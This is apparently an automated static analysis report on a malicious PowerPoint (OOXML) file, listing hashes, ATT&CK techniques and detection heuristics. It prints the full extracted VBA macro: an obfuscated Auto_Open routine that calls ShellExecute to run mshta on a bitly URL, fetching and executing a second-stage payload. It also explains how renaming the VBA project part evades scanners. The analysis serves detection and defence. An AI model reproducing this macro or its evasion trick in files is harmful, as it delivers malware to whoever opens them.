Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d4fd8c4d14895c2a…

MALICIOUS

Office (OOXML)

7.9 KB First seen: 2021-06-28
MD5: 858c95edf68fe9e7f91ad023a8022b58 SHA-1: 7ee98b59b81372d3179e0fbb91d15b69915ddbb5 SHA-256: d4fd8c4d14895c2ad1df984dccc09182ff0ea71ad061b9aa487c56e5b4c22299
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML file contains a VBA macro within a renamed VBA project part, specifically an Auto_Open macro. This macro attempts to execute a downloaded payload by calling ShellExecute with the reconstructed URL 'http://www.bitly.com/hwdinnwsnkdwmwqwhda'. The presence of the Auto_Open macro and the execution of an external resource strongly indicate a malicious intent to download and run a second-stage payload.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/koka.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub _
    Auto_Open _
    ()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1083 bytes
SHA-256: c7d676a2d92c2e24476d7abed157b16230fc51eea349ac73c612b676c25bd973
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Const _
SW_SHOW _
= _
1
Const _
SW_SHOWMAXIMIZED _
= _
3

Public _
Declare _
Function _
ShellExecute _
Lib _
"Shell32.dll" _
Alias _
"ShellExecuteA" _
  (ByVal _
  hwnd _
  As _
  Long _
  , _
   ByVal _
   lpOperation _
   As _
   String _
   , _
   ByVal lpFile As String _
   , _
   ByVal lpParameters As String _
   , _
   ByVal lpDirectory As String _
   , _
   ByVal nShowCmd As Long) As Long
Function koko()



koko _
= _
"m" _
+ _
"s" _
+ _
"h" _
+ _
"t" _
+ _
"a"
End _
Function
Sub _
Auto_Open _
()
  Dim _
  RetVal _
  As _
  Long
  On _
  Error _
  Resume _
  Next
  RetVal _
  = _
  ShellExecute _
  (0, "open", koko, "h" _
  + _
  "t" _
  + _
  "t" _
  + _
  "p" _
  + _
  ":" _
  + _
  "/" _
  + _
  "/" _
  + _
  "w" _
  + _
  "w" _
  + "w" + "." + "b" + "i" + "t" + "l" + "y" + "." + "c" + "o" + "m/hwdinnwsnkdwmwqwhda", _
                        "%public%" _
                        , _
                        SW_SHOWMinimize)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/koka.bin 15360 bytes
SHA-256: deeb693a5d38f0718a85155e4dcda61fc12fc791b6f11db8e26cb44633c8f173